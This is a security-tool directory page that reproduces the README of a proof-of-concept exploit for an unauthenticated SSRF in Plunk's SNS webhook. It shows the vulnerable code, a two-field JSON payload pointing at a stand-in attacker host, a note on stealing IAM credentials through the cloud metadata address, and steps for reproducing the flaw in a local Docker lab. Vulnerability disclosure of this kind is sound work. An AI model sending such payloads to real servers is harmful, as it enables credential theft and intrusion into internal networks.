Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-32096 — Proof-of-concept exploit for an SSRF vulnerability in Plunk's SNS webhook, demonstrating unauthenticated server-side request forgery via unvalidated SubscribeURL. | Kitploit
Tools/GitHubGitHub/andrebhu/cve-2026-32096
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubandrebhu/cve-2026-32096

CVE-2026-32096

Proof-of-concept exploit for an SSRF vulnerability in Plunk's SNS webhook, demonstrating unauthenticated server-side request forgery via unvalidated SubscribeURL.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-32096

SSRF via unvalidated AWS SNS SubscriptionConfirmation in useplunk/plunk

Summary

The Plunk API endpoint POST /webhooks/sns fetches an attacker-supplied SubscribeURL without verifying the AWS SNS cryptographic signature. An unauthenticated attacker can force the server to make arbitrary outbound HTTP requests (SSRF).

SeverityCritical — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N)
CWECWE-918: Server-Side Request Forgery
Affected fileapps/api/src/controllers/Webhooks.ts
Auth requiredNone

Vulnerable Code

root@kitploit:~
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
  const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — no signature validation
  if (confirmResponse.ok) {
    return res.status(200).json({ success: true, message: 'Subscription confirmed' });
  }
}

The minimum payload is just two fields:

root@kitploit:~
{
  "Type": "SubscriptionConfirmation",
  "SubscribeURL": "http://attacker.example.com/callback"
}

Impact

  • AWS EC2/ECS: Steal IAM credentials via http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Internal services: Reach databases, Redis, Kubernetes API, or other non-internet-exposed services
  • Port scanning: Enumerate internal ports via timing and error-based responses

Reproduction

Prerequisites

  • Docker & Docker Compose
  • Python 3

Steps

  1. Start the Plunk test environment:

    root@kitploit:~
    docker compose up -d
    
  2. Start the SSRF callback listener:

    root@kitploit:~
    python3 listener.py
    
  3. Run the exploit:

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh
    
  4. Observe the callback hit in listener.py output, confirming the server fetched the attacker-controlled URL.

Files

FileDescription
exploit.shEnd-to-end exploit script — sends forged SNS payload to the vulnerable endpoint
listener.pySSRF callback listener — captures and logs incoming requests from the Plunk server
docker-compose.ymlMinimal Docker Compose environment (Postgres, Redis, Plunk) for local reproduction

References

  • AWS SNS: Verifying the signatures of Amazon SNS messages
  • OWASP SSRF Prevention Cheat Sheet
Download Tool